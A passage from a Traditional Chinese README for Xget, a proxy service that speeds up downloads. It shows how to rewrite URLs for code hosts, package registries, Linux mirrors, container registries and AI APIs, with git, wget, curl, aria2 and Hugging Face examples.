|\n| Ubuntu           | `ubuntu`    | `https://archive.ubuntu.com/...`                                    | `https://xget.xi-xu.me/ubuntu/...`                                               |\n| Fedora           | `fedora`    | `https://dl.fedoraproject.org/...`                                  | `https://xget.xi-xu.me/fedora/...`                                               |\n| Rocky Linux      | `rocky`     | `https://download.rockylinux.org/...`                               | `https://xget.xi-xu.me/rocky/...`                                                |\n| openSUSE         | `opensuse`  | `https://download.opensuse.org/...`                                 | `https://xget.xi-xu.me/opensuse/...`                                             |\n| Arch Linux       | `arch`      | `https://geo.mirror.pkgbuild.com/...`                               | `https://xget.xi-xu.me/arch/...`                                                 |\n| arXiv            | `arxiv`     | `https://arxiv.org/...`                                             | `https://xget.xi-xu.me/arxiv/...`                                                |\n| F-Droid          | `fdroid`    | `https://f-droid.org/...`                                           | `https://xget.xi-xu.me/fdroid/...`                                               |\n| Jenkins 外掛程式 | `jenkins`   | `https://updates.jenkins.io/...`                                    | `https://xget.xi-xu.me/jenkins/...`                                              |\n| 容器註冊表       | `cr`        | 見[容器註冊表](#容器註冊表)                                         | 見[容器註冊表](#容器註冊表)                                                      |\n| AI 推理供應商    | `ip`        | 見 [AI 推理供應商](#ai-推理供應商)                                  | 見 [AI 推理供應商](#ai-推理供應商)                                               |\n\n### 各平台轉換範例\n\n#### GitHub\n\n```url\n# 原始 URL\nhttps://github.com/microsoft/vscode/archive/refs/heads/main.zip\n\n# 轉換後（新增 gh 前綴）\nhttps://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip\n```\n\n#### GitHub Gist\n\n```url\n# 原始 URL\nhttps://gist.github.com/xixu-me/e2ea9db6b1f143892495f796fef18631/raw/3b8807172ee492d0da3a7e370b0fb88fc97b53e6/Free-ChatGPT-Paid-Plan.md\n\n# 轉換後（新增 gist 前綴）\nhttps://xget.xi-xu.me/gist/xixu-me/e2ea9db6b1f143892495f796fef18631/raw/3b8807172ee492d0da3a7e370b0fb88fc97b53e6/Free-ChatGPT-Paid-Plan.md\n```\n\n#### GitLab\n\n```url\n# 原始 URL\nhttps://gitlab.com/gitlab-org/gitlab/-/archive/master/gitlab-master.zip\n\n# 轉換後（新增 gl 前綴）\nhttps://xget.xi-xu.me/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip\n```\n\n#### Gitea\n\n```url\n# 原始 URL\nhttps://gitea.com/gitea/gitea/archive/master.zip\n\n# 轉換後（新增 gitea 前綴）\nhttps://xget.xi-xu.me/gitea/gitea/gitea/archive/master.zip\n```\n\n#### Codeberg\n\n```url\n# 原始 URL\nhttps://codeberg.org/forgejo/forgejo/archive/forgejo.zip\n\n# 轉換後（新增 codeberg 前綴）\nhttps://xget.xi-xu.me/codeberg/forgejo/forgejo/archive/forgejo.zip\n```\n\n#### SourceForge\n\n```url\n# 原始 URL\nhttps://sourceforge.net/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download\n\n# 轉換後（新增 sf 前綴）\nhttps://xget.xi-xu.me/sf/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download\n```\n\n#### AOSP (Android 開源專案)\n\n```url\n# AOSP 專案原始 URL\nhttps://android.googlesource.com/platform/frameworks/base\n\n# 轉換後（新增 aosp 前綴）\nhttps://xget.xi-xu.me/aosp/platform/frameworks/base\n\n# AOSP 裝置樹原始 URL\nhttps://android.googlesource.com/device/google/pixel\n\n# 轉換後（新增 aosp 前綴）\nhttps://xget.xi-xu.me/aosp/device/google/pixel\n```\n\n#### Hugging Face\n\n```url\n# 模型檔案原始 URL\nhttps://huggingface.co/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin\n\n# 轉換後（新增 hf 前綴）\nhttps://xget.xi-xu.me/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin\n\n# 資料集檔案原始 URL\nhttps://huggingface.co/datasets/rajpurkar/squad/resolve/main/plain_text/train-00000-of-00001.parquet\n\n# 轉換後（新增 hf 前綴）\nhttps://xget.xi-xu.me/hf/datasets/rajpurkar/squad/resolve/main/plain_text/train-00000-of-00001.parquet\n```\n\n#### Civitai\n\n```url\n# AI 模型下載原始 URL\nhttps://civitai.com/api/download/models/128713\n\n# 轉換後（新增 civitai 前綴）\nhttps://xget.xi-xu.me/civitai/api/download/models/128713\n\n# 模型 API 原始 URL\nhttps://civitai.com/api/v1/models/7240\n\n# 轉換後（新增 civitai 前綴）\nhttps://xget.xi-xu.me/civitai/api/v1/models/7240\n\n# 模型版本 API 原始 URL\nhttps://civitai.com/api/v1/model-versions/128713\n\n# 轉換後（新增 civitai 前綴）\nhttps://xget.xi-xu.me/civitai/api/v1/model-versions/128713\n```\n\n#### npm\n\n```url\n# 軟體包檔案原始 URL\nhttps://registry.npmjs.org/react/-/react-18.2.0.tgz\n\n# 轉換後（新增 npm 前綴）\nhttps://xget.xi-xu.me/npm/react/-/react-18.2.0.tgz\n\n# 軟體包元資料原始 URL\nhttps://registry.npmjs.org/lodash\n\n# 轉換後（新增 npm 前綴）\nhttps://xget.xi-xu.me/npm/lodash\n```\n\n#### PyPI\n\n```url\n# Python 軟體包檔案原始 URL\nhttps://pypi.org/packages/source/r/requests/requests-2.31.0.tar.gz\n\n# 轉換後（新增 pypi 前綴）\nhttps://xget.xi-xu.me/pypi/packages/source/r/requests/requests-2.31.0.tar.gz\n\n# Wheel 檔案原始 URL\nhttps://pypi.org/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl\n\n# 轉換後（新增 pypi 前綴）\nhttps://xget.xi-xu.me/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl\n```\n\n#### conda\n\n```url\n# 預設頻道軟體包檔案原始 URL\nhttps://repo.anaconda.com/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda\n\n# 轉換後（新增 conda 前綴）\nhttps://xget.xi-xu.me/conda/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda\n\n# 社群頻道元資料原始 URL\nhttps://conda.anaconda.org/conda-forge/linux-64/repodata.json\n\n# 轉換後（新增 conda/community 前綴）\nhttps://xget.xi-xu.me/conda/community/conda-forge/linux-64/repodata.json\n```\n\n#### Maven\n\n```url\n# Maven 中央儲存庫 JAR 檔案原始 URL\nhttps://repo1.maven.org/maven2/org/springframework/spring-core/5.3.21/spring-core-5.3.21.jar\n\n# 轉換後（新增 maven 前綴）\nhttps://xget.xi-xu.me/maven/maven2/org/springframework/spring-core/5.3.21/spring-core-5.3.21.jar\n\n# Maven 元資料原始 URL\nhttps://repo1.maven.org/maven2/org/apache/commons/commons-lang3/maven-metadata.xml\n\n# 轉換後（新增 maven 前綴）\nhttps://xget.xi-xu.me/maven/maven2/org/apache/commons/commons-lang3/maven-metadata.xml\n```\n\n#### Apache 軟體下載\n\n```url\n# Apache 軟體下載原始 URL\nhttps://downloads.apache.org/kafka/3.6.1/kafka_2.13-3.6.1.tgz\n\n# 轉換後（新增 apache 前綴）\nhttps://xget.xi-xu.me/apache/kafka/3.6.1/kafka_2.13-3.6.1.tgz\n\n# Apache Maven 下載原始 URL\nhttps://downloads.apache.org/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz\n\n# 轉換後（新增 apache 前綴）\nhttps://xget.xi-xu.me/apache/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz\n\n# Apache Spark 下載原始 URL\nhttps://downloads.apache.org/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz\n\n# 轉換後（新增 apache 前綴）\nhttps://xget.xi-xu.me/apache/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz\n```\n\n#### Gradle\n\n```url\n# Gradle 外掛程式入口網站 JAR 檔案原始 URL\nhttps://plugins.gradle.org/m2/org/gradle/gradle-hello-world-plugin/0.2/gradle-hello-world-plugin-0.2.jar\n\n# 轉換後（新增 gradle 前綴）\nhttps://xget.xi-xu.me/gradle/m2/org/gradle/gradle-hello-world-plugin/0.2/gradle-hello-world-plugin-0.2.jar\n\n# Gradle 外掛程式元資料原始 URL\nhttps://plugins.gradle.org/m2/com/github/ben-manes/gradle-versions-plugin/0.51.0/gradle-versions-plugin-0.51.0.module\n\n# 轉換後（新增 gradle 前綴）\nhttps://xget.xi-xu.me/gradle/m2/com/github/ben-manes/gradle-versions-plugin/0.51.0/gradle-versions-plugin-0.51.0.module\n```\n\n#### Homebrew\n\n```url\n# Homebrew 公式儲存庫原始 URL\nhttps://github.com/Homebrew/homebrew-core/raw/HEAD/Formula/g/git.rb\n\n# 轉換後（新增 homebrew 前綴）\nhttps://xget.xi-xu.me/homebrew/homebrew-core/raw/HEAD/Formula/g/git.rb\n\n# Homebrew API 原始 URL\nhttps://formulae.brew.sh/api/formula/git.json\n\n# 轉換後（新增 homebrew/api 前綴）\nhttps://xget.xi-xu.me/homebrew/api/formula/git.json\n\n# Homebrew Bottles 原始 URL\nhttps://ghcr.io/v2/homebrew/core/git/manifests/2.39.0\n\n# 轉換後（新增 homebrew/bottles 前綴）\nhttps://xget.xi-xu.me/homebrew/bottles/v2/homebrew/core/git/manifests/2.39.0\n```\n\n#### RubyGems\n\n```url\n# RubyGems 軟體包檔案原始 URL\nhttps://rubygems.org/gems/rails-7.0.4.gem\n\n# 轉換後（新增 rubygems 前綴）\nhttps://xget.xi-xu.me/rubygems/gems/rails-7.0.4.gem\n\n# RubyGems API 原始 URL\nhttps://rubygems.org/api/v1/gems/nokogiri.json\n\n# 轉換後（新增 rubygems 前綴）\nhttps://xget.xi-xu.me/rubygems/api/v1/gems/nokogiri.json\n```\n\n#### CRAN\n\n```url\n# CRAN 軟體包檔案原始 URL\nhttps://cran.r-project.org/src/contrib/ggplot2_3.5.2.tar.gz\n\n# 轉換後（新增 cran 前綴）\nhttps://xget.xi-xu.me/cran/src/contrib/ggplot2_3.5.2.tar.gz\n\n# CRAN 軟體包元資料原始 URL\nhttps://cran.r-project.org/web/packages/dplyr/DESCRIPTION\n\n# 轉換後（新增 cran 前綴）\nhttps://xget.xi-xu.me/cran/web/packages/dplyr/DESCRIPTION\n```\n\n#### CPAN (Perl 軟體包管理)\n\n```url\n# CPAN 模組原始 URL\nhttps://www.cpan.org/modules/by-module/DBI/DBI-1.643.tar.gz\n\n# 轉換後（新增 cpan 前綴）\nhttps://xget.xi-xu.me/cpan/modules/by-module/DBI/DBI-1.643.tar.gz\n\n# CPAN 作者軟體包原始 URL\nhttps://www.cpan.org/authors/id/T/TI/TIMB/DBI-1.643.tar.gz\n\n# 轉換後（新增 cpan 前綴）\nhttps://xget.xi-xu.me/cpan/authors/id/T/TI/TIMB/DBI-1.643.tar.gz\n```\n\n#### CTAN (TeX/LaTeX 軟體包管理)\n\n```url\n# CTAN 軟體包檔案原始 URL\nhttps://tug.ctan.org/tex-archive/macros/latex/contrib/beamer.zip\n\n# 轉換後（新增 ctan 前綴）\nhttps://xget.xi-xu.me/ctan/tex-archive/macros/latex/contrib/beamer.zip\n\n# CTAN 字體檔案原始 URL\nhttps://tug.ctan.org/tex-archive/fonts/cm/pk/ljfour/public/cm/dpi600/cmr10.pk\n\n# 轉換後（新增 ctan 前綴）\nhttps://xget.xi-xu.me/ctan/tex-archive/fonts/cm/pk/ljfour/public/cm/dpi600/cmr10.pk\n```\n\n#### Go 模組\n\n```url\n# Go 模組代理原始 URL\nhttps://proxy.golang.org/github.com/gin-gonic/gin/@v/v1.9.1.zip\n\n# 轉換後（新增 golang 前綴）\nhttps://xget.xi-xu.me/golang/github.com/gin-gonic/gin/@v/v1.9.1.zip\n\n# Go 模組資訊原始 URL\nhttps://proxy.golang.org/github.com/gorilla/mux/@v/list\n\n# 轉換後（新增 golang 前綴）\nhttps://xget.xi-xu.me/golang/github.com/gorilla/mux/@v/list\n```\n\n#### NuGet\n\n```url\n# NuGet 軟體包下載原始 URL\nhttps://api.nuget.org/v3-flatcontainer/newtonsoft.json/13.0.3/newtonsoft.json.13.0.3.nupkg\n\n# 轉換後（新增 nuget 前綴）\nhttps://xget.xi-xu.me/nuget/v3-flatcontainer/newtonsoft.json/13.0.3/newtonsoft.json.13.0.3.nupkg\n\n# NuGet 軟體包元資料原始 URL\nhttps://api.nuget.org/v3/registration5-semver1/microsoft.aspnetcore.app/index.json\n\n# 轉換後（新增 nuget 前綴）\nhttps://xget.xi-xu.me/nuget/v3/registration5-semver1/microsoft.aspnetcore.app/index.json\n```\n\n#### Rust Crates\n\n```url\n# Crate 下載原始 URL\nhttps://crates.io/api/v1/crates/serde/1.0.0/download\n\n# 轉換後（新增 crates 前綴）\nhttps://xget.xi-xu.me/crates/serde/1.0.0/download\n\n# Crate 元資料原始 URL\nhttps://crates.io/api/v1/crates/serde\n\n# 轉換後（新增 crates 前綴）\nhttps://xget.xi-xu.me/crates/serde\n\n# Crate 搜尋原始 URL\nhttps://crates.io/api/v1/crates?q=serde\n\n# 轉換後（新增 crates 前綴）\nhttps://xget.xi-xu.me/crates/?q=serde\n```\n\n#### Packagist\n\n```url\n# Packagist 軟體包元資料原始 URL\nhttps://repo.packagist.org/p2/symfony/console.json\n\n# 轉換後（新增 packagist 前綴）\nhttps://xget.xi-xu.me/packagist/p2/symfony/console.json\n\n# Packagist 軟體包清單原始 URL\nhttps://repo.packagist.org/packages/list.json\n\n# 轉換後（新增 packagist 前綴）\nhttps://xget.xi-xu.me/packagist/packages/list.json\n```\n\n#### Flathub\n\n```url\n# Flathub 儲存庫原始 URL\nhttps://dl.flathub.org/repo/summary\n\n# 轉換後（新增 flathub 前綴）\nhttps://xget.xi-xu.me/flathub/repo/summary\n\n# Flathub 應用程式引用原始 URL\nhttps://dl.flathub.org/repo/appstream/org.gnome.gedit.flatpakref\n\n# 轉換後（新增 flathub 前綴）\nhttps://xget.xi-xu.me/flathub/repo/appstream/org.gnome.gedit.flatpakref\n```\n\n#### Linux 發行版\n\n```url\n# Debian 軟體包原始 URL\nhttps://deb.debian.org/debian/pool/main/c/curl/curl_7.88.1-10+deb12u4_amd64.deb\n\n# 轉換後（新增 debian 前綴）\nhttps://xget.xi-xu.me/debian/debian/pool/main/c/curl/curl_7.88.1-10+deb12u4_amd64.deb\n\n# Ubuntu 軟體包原始 URL\nhttps://archive.ubuntu.com/ubuntu/pool/main/g/git/git_2.34.1-1ubuntu1.9_amd64.deb\n\n# 轉換後（新增 ubuntu 前綴）\nhttps://xget.xi-xu.me/ubuntu/ubuntu/pool/main/g/git/git_2.34.1-1ubuntu1.9_amd64.deb\n\n# Fedora 軟體包原始 URL\nhttps://dl.fedoraproject.org/pub/fedora/linux/releases/39/Everything/x86_64/os/Packages/n/nginx-1.24.0-1.fc39.x86_64.rpm\n\n# 轉換後（新增 fedora 前綴）\nhttps://xget.xi-xu.me/fedora/pub/fedora/linux/releases/39/Everything/x86_64/os/Packages/n/nginx-1.24.0-1.fc39.x86_64.rpm\n\n# Rocky Linux 軟體包原始 URL\nhttps://download.rockylinux.org/pub/rocky/9/BaseOS/x86_64/os/Packages/b/bash-5.1.8-6.el9.x86_64.rpm\n\n# 轉換後（新增 rocky 前綴）\nhttps://xget.xi-xu.me/rocky/pub/rocky/9/BaseOS/x86_64/os/Packages/b/bash-5.1.8-6.el9.x86_64.rpm\n\n# openSUSE 軟體包原始 URL\nhttps://download.opensuse.org/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm\n\n# 轉換後（新增 opensuse 前綴）\nhttps://xget.xi-xu.me/opensuse/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm\n\n# Arch Linux 軟體包原始 URL\nhttps://geo.mirror.pkgbuild.com/core/os/x86_64/linux-6.6.10.arch1-1-x86_64.pkg.tar.zst\n\n# 轉換後（新增 arch 前綴）\nhttps://xget.xi-xu.me/arch/core/os/x86_64/linux-6.6.10.arch1-1-x86_64.pkg.tar.zst\n```\n\n#### arXiv\n\n```url\n# arXiv 論文 PDF 原始 URL\nhttps://arxiv.org/pdf/2301.07041.pdf\n\n# 轉換後（新增 arxiv 前綴）\nhttps://xget.xi-xu.me/arxiv/pdf/2301.07041.pdf\n\n# arXiv 論文原始碼原始 URL\nhttps://arxiv.org/e-print/2301.07041\n\n# 轉換後（新增 arxiv 前綴）\nhttps://xget.xi-xu.me/arxiv/e-print/2301.07041\n```\n\n#### F-Droid\n\n```url\n# F-Droid 應用程式 APK 原始 URL\nhttps://f-droid.org/repo/org.fdroid.fdroid_1016050.apk\n\n# 轉換後（新增 fdroid 前綴）\nhttps://xget.xi-xu.me/fdroid/repo/org.fdroid.fdroid_1016050.apk\n\n# F-Droid 應用程式元資料原始 URL\nhttps://f-droid.org/api/v1/packages/org.fdroid.fdroid\n\n# 轉換後（新增 fdroid 前綴）\nhttps://xget.xi-xu.me/fdroid/api/v1/packages/org.fdroid.fdroid\n```\n\n#### Jenkins 外掛程式\n\n```url\n# Jenkins 更新中心原始 URL\nhttps://updates.jenkins.io/update-center.json\n\n# 轉換後（新增 jenkins 前綴）\nhttps://xget.xi-xu.me/jenkins/update-center.json\n\n# Jenkins 外掛程式下載原始 URL\nhttps://updates.jenkins.io/download/plugins/maven-plugin/3.27/maven-plugin.hpi\n\n# 轉換後（新增 jenkins 前綴）\nhttps://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi\n```\n\n#### 容器註冊表\n\nXget 支援多個容器註冊表，使用 `cr/[容器註冊表前綴]` 格式：\n\n| 容器註冊表           | 容器註冊表前綴 | 原始 URL 格式                               | 加速 URL 格式                               |\n| -------------------- | -------------- | ------------------------------------------- | ------------------------------------------- |\n| Docker Hub           | `docker`       | `https://registry-1.docker.io/...`          | `https://xget.xi-xu.me/cr/docker/...`       |\n| Quay.io              | `quay`         | `https://quay.io/...`                       | `https://xget.xi-xu.me/cr/quay/...`         |\n| Google 容器註冊表    | `gcr`          | `https://gcr.io/...`                        | `https://xget.xi-xu.me/cr/gcr/...`          |\n| Microsoft 容器註冊表 | `mcr`          | `https://mcr.microsoft.com/...`             | `https://xget.xi-xu.me/cr/mcr/...`          |\n| Amazon Public ECR    | `ecr`          | `https://public.ecr.aws/...`                | `https://xget.xi-xu.me/cr/ecr/...`          |\n| GitHub 容器註冊表    | `ghcr`         | `https://ghcr.io/...`                       | `https://xget.xi-xu.me/cr/ghcr/...`         |\n| GitLab 容器註冊表    | `gitlab`       | `https://registry.gitlab.com/...`           | `https://xget.xi-xu.me/cr/gitlab/...`       |\n| Red Hat 註冊表       | `redhat`       | `https://registry.redhat.io/...`            | `https://xget.xi-xu.me/cr/redhat/...`       |\n| Oracle 容器註冊表    | `oracle`       | `https://container-registry.oracle.com/...` | `https://xget.xi-xu.me/cr/oracle/...`       |\n| Cloudsmith           | `cloudsmith`   | `https://docker.cloudsmith.io/...`          | `https://xget.xi-xu.me/cr/cloudsmith/...`   |\n| DigitalOcean 註冊表  | `digitalocean` | `https://registry.digitalocean.com/...`     | `https://xget.xi-xu.me/cr/digitalocean/...` |\n| VMware 註冊表        | `vmware`       | `https://projects.registry.vmware.com/...`  | `https://xget.xi-xu.me/cr/vmware/...`       |\n| Kubernetes 註冊表    | `k8s`          | `https://registry.k8s.io/...`               | `https://xget.xi-xu.me/cr/k8s/...`          |\n| Heroku 註冊表        | `heroku`       | `https://registry.heroku.com/...`           | `https://xget.xi-xu.me/cr/heroku/...`       |\n| SUSE 註冊表          | `suse`         | `https://registry.suse.com/...`             | `https://xget.xi-xu.me/cr/suse/...`         |\n| openSUSE 註冊表      | `opensuse`     | `https://registry.opensuse.org/...`         | `https://xget.xi-xu.me/cr/opensuse/...`     |\n| Gitpod 註冊表        | `gitpod`       | `https://registry.gitpod.io/...`            | `https://xget.xi-xu.me/cr/gitpod/...`       |\n\n```url\n# Docker Hub 原始 URL（官方鏡像）\nhttps://registry-1.docker.io/v2/library/nginx/manifests/latest\n\n# 轉換後（新增 cr/docker 前綴）\nhttps://xget.xi-xu.me/cr/docker/v2/nginx/manifests/latest\n\n# Docker Hub 原始 URL（使用者鏡像）\nhttps://registry-1.docker.io/v2/nginxinc/nginx-unprivileged/manifests/latest\n\n# 轉換後（新增 cr/docker 前綴）\nhttps://xget.xi-xu.me/cr/docker/v2/nginxinc/nginx-unprivileged/manifests/latest\n\n# GitHub 容器註冊表原始 URL\nhttps://ghcr.io/v2/nginxinc/nginx-unprivileged/manifests/latest\n\n# 轉換後（新增 cr/ghcr 前綴）\nhttps://xget.xi-xu.me/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest\n\n# Google 容器註冊表原始 URL\nhttps://gcr.io/v2/distroless/base/manifests/latest\n\n# 轉換後（新增 cr/gcr 前綴）\nhttps://xget.xi-xu.me/cr/gcr/v2/distroless/base/manifests/latest\n```\n\n應用場景見[容器鏡像加速](#容器鏡像加速)。\n\n#### AI 推理供應商\n\nXget 支援眾多主流 AI 推理供應商的 API 加速，使用 `ip/[AI 推理供應商前綴]` 格式：\n\n| AI 推理供應商  | AI 推理供應商前綴 | 原始 URL 格式                                   | 加速 URL 格式                                |\n| -------------- | ----------------- | ----------------------------------------------- | -------------------------------------------- |\n| OpenAI         | `openai`          | `https://api.openai.com/...`                    | `https://xget.xi-xu.me/ip/openai/...`        |\n| Anthropic      | `anthropic`       | `https://api.anthropic.com/...`                 | `https://xget.xi-xu.me/ip/anthropic/...`     |\n| Gemini         | `gemini`          | `https://generativelanguage.googleapis.com/...` | `https://xget.xi-xu.me/ip/gemini/...`        |\n| Vertex AI      | `vertexai`        | `https://aiplatform.googleapis.com/...`         | `https://xget.xi-xu.me/ip/vertexai/...`      |\n| Cohere         | `cohere`          | `https://api.cohere.ai/...`                     | `https://xget.xi-xu.me/ip/cohere/...`        |\n| Mistral AI     | `mistralai`       | `https://api.mistral.ai/...`                    | `https://xget.xi-xu.me/ip/mistralai/...`     |\n| xAI            | `xai`             | `https://api.x.ai/...`                          | `https://xget.xi-xu.me/ip/xai/...`           |\n| GitHub Models  | `githubmodels`    | `https://models.github.ai/...`                  | `https://xget.xi-xu.me/ip/githubmodels/...`  |\n| NVIDIA API     | `nvidiaapi`       | `https://integrate.api.nvidia.com/...`          | `https://xget.xi-xu.me/ip/nvidiaapi/...`     |\n| Perplexity     | `perplexity`      | `https://api.perplexity.ai/...`                 | `https://xget.xi-xu.me/ip/perplexity/...`    |\n| Groq           | `groq`            | `https://api.groq.com/...`                      | `https://xget.xi-xu.me/ip/groq/...`          |\n| Cerebras       | `cerebras`        | `https://api.cerebras.ai/...`                   | `https://xget.xi-xu.me/ip/cerebras/...`      |\n| SambaNova      | `sambanova`       | `https://api.sambanova.ai/...`                  | `https://xget.xi-xu.me/ip/sambanova/...`     |\n| Siray          | `siray`           | `https://api.siray.ai/...`                      | `https://xget.xi-xu.me/ip/siray/...`         |\n| HF Inference   | `huggingface`     | `https://router.huggingface.co/...`             | `https://xget.xi-xu.me/ip/huggingface/...`   |\n| Together       | `together`        | `https://api.together.xyz/...`                  | `https://xget.xi-xu.me/ip/together/...`      |\n| Replicate      | `replicate`       | `https://api.replicate.com/...`                 | `https://xget.xi-xu.me/ip/replicate/...`     |\n| Fireworks      | `fireworks`       | `https://api.fireworks.ai/...`                  | `https://xget.xi-xu.me/ip/fireworks/...`     |\n| Nebius         | `nebius`          | `https://api.studio.nebius.ai/...`              | `https://xget.xi-xu.me/ip/nebius/...`        |\n| Jina           | `jina`            | `https://api.jina.ai/...`                       | `https://xget.xi-xu.me/ip/jina/...`          |\n| Voyage AI      | `voyageai`        | `https://api.voyageai.com/...`                  | `https://xget.xi-xu.me/ip/voyageai/...`      |\n| Fal AI         | `falai`           | `https://fal.run/...`                           | `https://xget.xi-xu.me/ip/falai/...`         |\n| Novita         | `novita`          | `https://api.novita.ai/...`                     | `https://xget.xi-xu.me/ip/novita/...`        |\n| Burncloud      | `burncloud`       | `https://ai.burncloud.com/...`                  | `https://xget.xi-xu.me/ip/burncloud/...`     |\n| OpenRouter     | `openrouter`      | `https://openrouter.ai/...`                     | `https://xget.xi-xu.me/ip/openrouter/...`    |\n| Poe            | `poe`             | `https://api.poe.com/...`                       | `https://xget.xi-xu.me/ip/poe/...`           |\n| Featherless AI | `featherlessai`   | `https://api.featherless.ai/...`                | `https://xget.xi-xu.me/ip/featherlessai/...` |\n| Hyperbolic     | `hyperbolic`      | `https://api.hyperbolic.xyz/...`                | `https://xget.xi-xu.me/ip/hyperbolic/...`    |\n\n```url\n# OpenAI API 原始 URL\nhttps://api.openai.com/v1/chat/completions\n\n# 轉換後（新增 ip/openai 前綴）\nhttps://xget.xi-xu.me/ip/openai/v1/chat/completions\n\n# Claude API 原始 URL\nhttps://api.anthropic.com/v1/messages\n\n# 轉換後（新增 ip/anthropic 前綴）\nhttps://xget.xi-xu.me/ip/anthropic/v1/messages\n\n# Gemini API 原始 URL\nhttps://generativelanguage.googleapis.com/v1beta/models/gemini-2.5-flash:generateContent\n\n# 轉換後（新增 ip/gemini 前綴）\nhttps://xget.xi-xu.me/ip/gemini/v1beta/models/gemini-2.5-flash:generateContent\n\n# HF Inference API 原始 URL\nhttps://router.huggingface.co/hf-inference/models/openai/whisper-large-v3\n\n# 轉換後（新增 ip/huggingface 前綴）\nhttps://xget.xi-xu.me/ip/huggingface/hf-inference/models/openai/whisper-large-v3\n```\n\n應用場景見 [AI 推理 API 加速](#ai-推理-api-加速)。\n\n## 🎯 應用場景\n\n### Git 操作與配置\n\n#### Git 操作\n\n```bash\n# 克隆儲存庫\ngit clone https://xget.xi-xu.me/gh/microsoft/vscode.git\n\n# 克隆指定分支\ngit clone -b main https://xget.xi-xu.me/gh/facebook/react.git\n\n# 淺克隆（僅最新提交）\ngit clone --depth 1 https://xget.xi-xu.me/gh/torvalds/linux.git\n\n# 克隆 GitLab 儲存庫\ngit clone https://xget.xi-xu.me/gl/gitlab-org/gitlab.git\n\n# 克隆 Gitea 儲存庫\ngit clone https://xget.xi-xu.me/gitea/gitea/gitea.git\n\n# 克隆 Codeberg 儲存庫\ngit clone https://xget.xi-xu.me/codeberg/forgejo/forgejo.git\n\n# 克隆 SourceForge 儲存庫\ngit clone https://xget.xi-xu.me/sf/projects/mingw-w64/code.git\n\n# 克隆 AOSP 儲存庫\ngit clone https://xget.xi-xu.me/aosp/platform/frameworks/base.git\n\n# 新增遠端儲存庫\ngit remote add upstream https://xget.xi-xu.me/gh/[擁有者]/[儲存庫].git\n\n# 拉取更新\ngit pull https://xget.xi-xu.me/gh/microsoft/vscode.git main\n\n# 子模組遞迴克隆\ngit clone --recursive https://xget.xi-xu.me/gh/[使用者名稱]/[帶子模組的儲存庫].git\n```\n\n#### Git 全域加速配置\n\n```bash\n# 為特定網域配置 Git 使用 Xget\ngit config --global url.\"https://xget.xi-xu.me/gh/\".insteadOf \"https://github.com/\"\ngit config --global url.\"https://xget.xi-xu.me/gl/\".insteadOf \"https://gitlab.com/\"\ngit config --global url.\"https://xget.xi-xu.me/gitea/\".insteadOf \"https://gitea.com/\"\ngit config --global url.\"https://xget.xi-xu.me/codeberg/\".insteadOf \"https://codeberg.org/\"\ngit config --global url.\"https://xget.xi-xu.me/sf/\".insteadOf \"https://sourceforge.net/\"\ngit config --global url.\"https://xget.xi-xu.me/aosp/\".insteadOf \"https://android.googlesource.com/\"\n\n# 驗證配置\ngit config --global --get-regexp url\n\n# 現在所有相關平台的 git clone 都會自動使用 Xget\ngit clone https://github.com/microsoft/vscode.git  # 自動轉換為 Xget URL\ngit clone https://gitlab.com/gitlab-org/gitlab.git  # 自動轉換為 Xget URL\ngit clone https://codeberg.org/forgejo/forgejo.git  # 自動轉換為 Xget URL\ngit clone https://android.googlesource.com/platform/frameworks/base.git  # 自動轉換為 Xget URL\n```\n\n### 主流下載工具整合\n\n#### wget 下載\n\n```bash\n# 下載單一檔案\nwget https://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip\n\n# 斷點續傳\nwget -c https://xget.xi-xu.me/hf/microsoft/DialoGPT-large/resolve/main/pytorch_model.bin\n\n# 批次下載\nwget -i urls.txt  # urls.txt 包含多個 Xget URL\n```\n\n#### cURL 下載\n\n```bash\n# 基本下載\ncurl -L -O https://xget.xi-xu.me/gh/golang/go/archive/refs/tags/go1.22.0.tar.gz\n\n# 顯示進度列\ncurl -L --progress-bar -o model.bin https://xget.xi-xu.me/hf/openai/whisper-large-v3/resolve/main/pytorch_model.bin\n\n# 設定 User-Agent\ncurl -L -H \"User-Agent: MyApp/1.0\" https://xget.xi-xu.me/gl/gitlab-org/gitlab-runner/-/archive/main/gitlab-runner-main.zip\n```\n\n#### aria2 多執行緒下載\n\n```bash\n# 多執行緒下載大檔案\naria2c -x 16 -s 16 https://xget.xi-xu.me/hf/microsoft/DialoGPT-large/resolve/main/pytorch_model.bin\n\n# 斷點續傳\naria2c -c https://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip\n\n# 批次下載設定檔\naria2c -i download-list.txt  # 包含多個 Xget URL 的檔案\n```\n\n### Hugging Face 鏡像\n\n```python\nimport os\nfrom transformers import AutoTokenizer, AutoModelForCausalLM\n\n# 設定環境變數，讓 transformers 庫自動使用 Xget 鏡像\nos.environ['HF_ENDPOINT'] = 'https://xget.xi-xu.me/hf'\n\n# 定義模型名稱\nmodel_name = 'microsoft/DialoGPT-medium'\n\nprint(f\"正在從鏡像下載模型: {model_name}\")\n\n# 使用 AutoModelForCausalLM 來載入對話生成模型\n# 由於上面設定了環境變數，這裡無需新增任何額外參數\ntokenizer = AutoTokenizer.from_pretrained(model_name)\nmodel = AutoModelForCausalLM.from_pretrained(model_name)\n\nprint(\"模型和分詞器載入成功！\")\n\n# 您現在可以使用 tokenizer 和 model 了\n# 例如:\n# new_user_input_ids = tokenizer.encode(\"Hello, how are you?\", 